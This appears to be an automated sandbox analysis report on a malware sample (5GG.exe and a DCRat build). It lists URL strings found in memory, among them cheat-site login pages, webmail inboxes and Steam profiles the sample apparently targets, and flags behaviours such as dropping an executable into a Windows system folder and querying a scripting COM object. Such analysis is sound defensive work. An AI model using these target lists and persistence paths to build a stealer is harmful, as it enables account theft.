Source: 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: 5GG.exe, 00000029.00000002.2890940319.000002ACF4C50000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889790968.000002ACF4699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/get
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/post
Source: METADATA.1.dr	String found in binary or memory: https://img.shields.io/lgtm/alerts/g/samuelhwilliams/Eel.svg?logo=lgtm&style=for-the-badge)
Source: METADATA.1.dr	String found in binary or memory: https://img.shields.io/lgtm/grade/javascript/g/samuelhwilliams/Eel.svg?logo=lgtm&style=for-the-badge
Source: METADATA.1.dr	String found in binary or memory: https://img.shields.io/lgtm/grade/python/g/samuelhwilliams/Eel.svg?logo=lgtm&style=for-the-badge)
Source: METADATA.1.dr	String found in binary or memory: https://img.shields.io/pypi/dm/Eel?style=for-the-badge)
Source: METADATA.1.dr	String found in binary or memory: https://img.shields.io/pypi/l/Eel.svg?style=for-the-badge)
Source: METADATA.1.dr	String found in binary or memory: https://img.shields.io/pypi/pyversions/Eel?style=for-the-badge)
Source: METADATA.1.dr	String found in binary or memory: https://img.shields.io/pypi/v/Eel?style=for-the-badge)
Source: 5GG.exe, 00000029.00000002.2891029241.000002ACF4D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://interium.ooo/login/
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://interium.ooo/login/r
Source: METADATA.1.dr	String found in binary or memory: https://lgtm.com/projects/g/samuelhwilliams/Eel/alerts/)
Source: METADATA.1.dr	String found in binary or memory: https://lgtm.com/projects/g/samuelhwilliams/Eel/context:javascript)
Source: METADATA.1.dr	String found in binary or memory: https://lgtm.com/projects/g/samuelhwilliams/Eel/context:python)
Source: 5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: 5GG.exe, 00000029.00000002.2890940319.000002ACF4C50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/u/0/#inbox
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/u/0/#inboxr
Source: 5GG.exe, 00000029.00000002.2890940319.000002ACF4C50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mail.rambler.ru/folder/INBOX
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.rambler.ru/folder/INBOXr
Source: 5GG.exe, 00000029.00000002.2891029241.000002ACF4D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://midnight.im/login/
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://midnight.im/login/r
Source: 5GG.exe, 00000029.00000002.2891029241.000002ACF4D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://neverlose.cc/?redir=me
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neverlose.cc/?redir=mer
Source: 5GG.exe, 00000029.00000002.2891029241.000002ACF4D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nixware.cc/login/
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nixware.cc/login/r
Source: 5GG.exe, 00000029.00000002.2890674437.000002ACF4950000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/core-metadata/
Source: 5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/declaring-project-metadata/
Source: 5GG.exe, 00000029.00000002.2890674437.000002ACF4950000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/entry-points/
Source: 5GG.exe, 00000029.00000002.2890585916.000002ACF4850000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2890492844.000002ACF4740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: 5GG.exe, 00000029.00000002.2890674437.000002ACF4950000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2890762729.000002ACF4A50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0440/
Source: 5GG.exe, 00000029.00000002.2890762729.000002ACF4A50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0440/__path__
Source: 5GG.exe, 00000029.00000002.2890762729.000002ACF4A50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0685/
Source: 5GG.exe, 00000029.00000002.2890940319.000002ACF4C50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pyperclip.readthedocs.io/en/latest/index.html#not-implemented-error
Source: METADATA.1.dr	String found in binary or memory: https://pypi.org/project/Eel/)
Source: METADATA.1.dr	String found in binary or memory: https://pypi.org/project/Jinja2/#description):
Source: 5GG.exe, 00000029.00000002.2890585916.000002ACF4850000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2890674437.000002ACF4950000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/build/).
Source: hook-humanize.cpython-310.pyc.1.dr	String found in binary or memory: https://pypi.org/project/humanize
Source: 5GG.exe, 00000001.00000002.2884118725.00000145A1925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/setuptools/
Source: METADATA.1.dr	String found in binary or memory: https://pypistats.org/packages/eel)
Source: 5GG.exe, 00000029.00000002.2902886199.00007FFDF58D3000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://python.org/dev/peps/pep-0263/
Source: METADATA.1.dr	String found in binary or memory: https://raw.githubusercontent.com/samuelhwilliams/Eel/master/examples/04%20-%20file_access/Screensho
Source: 5GG.exe, 00000029.00000002.2890674437.000002ACF4950000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://refspecs.linuxfoundation.org/elf/gabi4
Source: 5GG.exe, 00000029.00000002.2890585916.000002ACF4850000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2891594278.000002ACF5330000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889231296.000002ACF4571000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889790968.000002ACF4699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://requests.readthedocs.io
Source: 5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661591867.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663745033.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1668796406.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663942819.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1664160389.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661267025.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663227820.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661752992.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662197660.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662833605.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662754073.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661201242.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: 5GG.exe, 00000001.00000003.1668796406.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0C
Source: 5GG.exe, 00000001.00000003.1669056144.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0D
Source: 5GG.exe, 00000029.00000002.2890762729.000002ACF4A50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/
Source: 5GG.exe, 00000029.00000003.2442183249.000002ACF3EF9000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2441847992.000002ACF3EF9000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2442009842.000002ACF3EAF000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2442183249.000002ACF3EB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/pkg_resources.html
Source: 5GG.exe, 00000029.00000003.2442317634.000002ACF3E87000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2442183249.000002ACF3EF9000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2441847992.000002ACF3EF9000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2443524611.000002ACF3E6E000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2442317634.000002ACF3E99000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2442009842.000002ACF3E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/pkg_resources.html#basic-resource-access
Source: 5GG.exe, 00000029.00000002.2887626985.000002ACF4010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packages
Source: 5GG.exe, 00000029.00000003.2442183249.000002ACF3EF9000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2441847992.000002ACF3EF9000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2442317634.000002ACF3E99000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2442009842.000002ACF3E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packagesr#
Source: 5GG.exe, 00000029.00000003.2442183249.000002ACF3EF9000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2441847992.000002ACF3EF9000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2442317634.000002ACF3E99000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2442009842.000002ACF3E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packagesr#r$Nrlr
Source: 5GG.exe, 00000029.00000002.2890762729.000002ACF4A50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/th__
Source: 5GG.exe, 00000029.00000002.2890940319.000002ACF4C50000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirthack.me/?redir=me%3F
Source: 5GG.exe, 00000029.00000002.2891116650.000002ACF4E90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/questions/11993290/truly-custom-font-in-tkinter/30631309#30631309
Source: 5GG.exe, 00000029.00000002.2891206687.000002ACF4FE4000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887626985.000002ACF4010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/questions/23836000/can-i-change-the-title-bar-in-tkinter/70724666#70724666
Source: 5GG.exe, 00000029.00000002.2890940319.000002ACF4C50000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2447890634.000002ACF4566000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/
Source: 5GG.exe, 00000029.00000002.2889790968.000002ACF470C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.apple.com/en-us/HT20
Source: tk.tcl.1.dr	String found in binary or memory: https://support.apple.com/en-us/HT201236
Source: 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: 5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: 5GG.exe, 00000029.00000002.2890585916.000002ACF4850000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://upload.pypi.org/legacy/
Source: 5GG.exe, 00000001.00000002.2884118725.00000145A195C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html
Source: 5GG.exe, 00000029.00000002.2891206687.000002ACF4FE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: 5GG.exe, 00000029.00000002.2891206687.000002ACF4FA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: 5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.archive.org/web/20120328125543/http://www.jpegcameras.com/libjpeg/libjpeg-3.html
Source: 5GG.exe, 00000001.00000002.2884118725.00000145A1925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wheel.readthedocs.io/
Source: 5GG.exe, 00000001.00000002.2884118725.00000145A1925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wheel.readthedocs.io/en/stable/news.html
Source: WmfImagePlugin.py.1.dr	String found in binary or memory: https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-WMF/
Source: 5GG.exe, 00000029.00000003.2443285822.000002ACF3F48000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2443285822.000002ACF3F87000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www-cs-faculty.stanford.edu/~knuth/fasc2a.ps.gz
Source: 5GG.exe, 00000029.00000002.2890940319.000002ACF4C50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.aurora-project.ru/login
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.aurora-project.ru/loginr
Source: 5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693446470.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1668549208.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, libssl-1_1.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: TextInputHost.exe, 00000024.00000002.2913564667.0000000013F05000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014105000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014988000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013732000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.000000001476A000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015F7C000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015C59000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000147BC000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015989000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014921000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015533000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000142C5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000016014000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014565000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013E35000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013B48000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014B06000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014636000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000150F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: TextInputHost.exe, 00000024.00000002.2913564667.0000000013F05000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014105000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014988000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013732000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.000000001476A000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015F7C000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015C59000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000147BC000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015989000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014921000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015533000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000142C5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000016014000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014565000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013E35000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013B48000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014B06000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014636000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000150F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: GifImagePlugin.py.1.dr	String found in binary or memory: https://www.matthewflickinger.com/lab/whatsinagif/bits_and_bytes.asp
Source: 5GG.exe, 00000029.00000002.2891029241.000002ACF4D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.onetap.com/login/
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.onetap.com/login/r
Source: 5GG.exe, 00000001.00000003.1668549208.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2904314332.00007FFDFAB4A000.00000002.00000001.01000000.00000023.sdmp, 5GG.exe, 00000029.00000002.2902176616.00007FFDF5597000.00000002.00000001.01000000.00000022.sdmp, libssl-1_1.dll.1.dr	String found in binary or memory: https://www.openssl.org/H
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org
Source: 5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: 5GG.exe, 00000001.00000003.1664465329.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: 5GG.exe, 00000001.00000002.2884118725.00000145A1925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0427/
Source: 5GG.exe, 00000029.00000002.2885715487.000002ACF37A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: 5GG.exe, 00000001.00000003.1692905430.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sysinternals.com0
Source: 5GG.exe, 00000029.00000002.2891029241.000002ACF4D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://xone.fun/login
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xone.fun/loginr
Source: 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Window created: window name: CLIPBRDWNDCLASS

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 2_2_00876FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

2_2_00876FAA

Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Windows\apppatch\AppPatch64\TextInputHost.exe			Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Windows\apppatch\AppPatch64\22eafd247d37c3			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54C72BC	1_2_00007FF7E54C72BC
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54A7950	1_2_00007FF7E54A7950
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54C6370	1_2_00007FF7E54C6370
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B1E94	1_2_00007FF7E54B1E94
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B7E4C	1_2_00007FF7E54B7E4C
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B36E0	1_2_00007FF7E54B36E0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54C1EE4	1_2_00007FF7E54C1EE4
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B86D0	1_2_00007FF7E54B86D0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54C6D70	1_2_00007FF7E54C6D70
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B2D50	1_2_00007FF7E54B2D50
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54C65EC	1_2_00007FF7E54C65EC
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B1880	1_2_00007FF7E54B1880
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54BE01C	1_2_00007FF7E54BE01C
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B20A0	1_2_00007FF7E54B20A0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B7E4C	1_2_00007FF7E54B7E4C
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B5F30	1_2_00007FF7E54B5F30
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54C471C	1_2_00007FF7E54C471C
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54A1F50	1_2_00007FF7E54A1F50
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54C0F38	1_2_00007FF7E54C0F38
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54C9FF8	1_2_00007FF7E54C9FF8
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54A8FD0	1_2_00007FF7E54A8FD0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54C0F38	1_2_00007FF7E54C0F38
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54C4280	1_2_00007FF7E54C4280
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B1A84	1_2_00007FF7E54B1A84
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B3AE4	1_2_00007FF7E54B3AE4
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B22A4	1_2_00007FF7E54B22A4
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B1C90	1_2_00007FF7E54B1C90
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54BA430	1_2_00007FF7E54BA430
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54BE4B0	1_2_00007FF7E54BE4B0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54B7C98	1_2_00007FF7E54B7C98
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54BEB30	1_2_00007FF7E54BEB30
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0087848E	2_2_0087848E
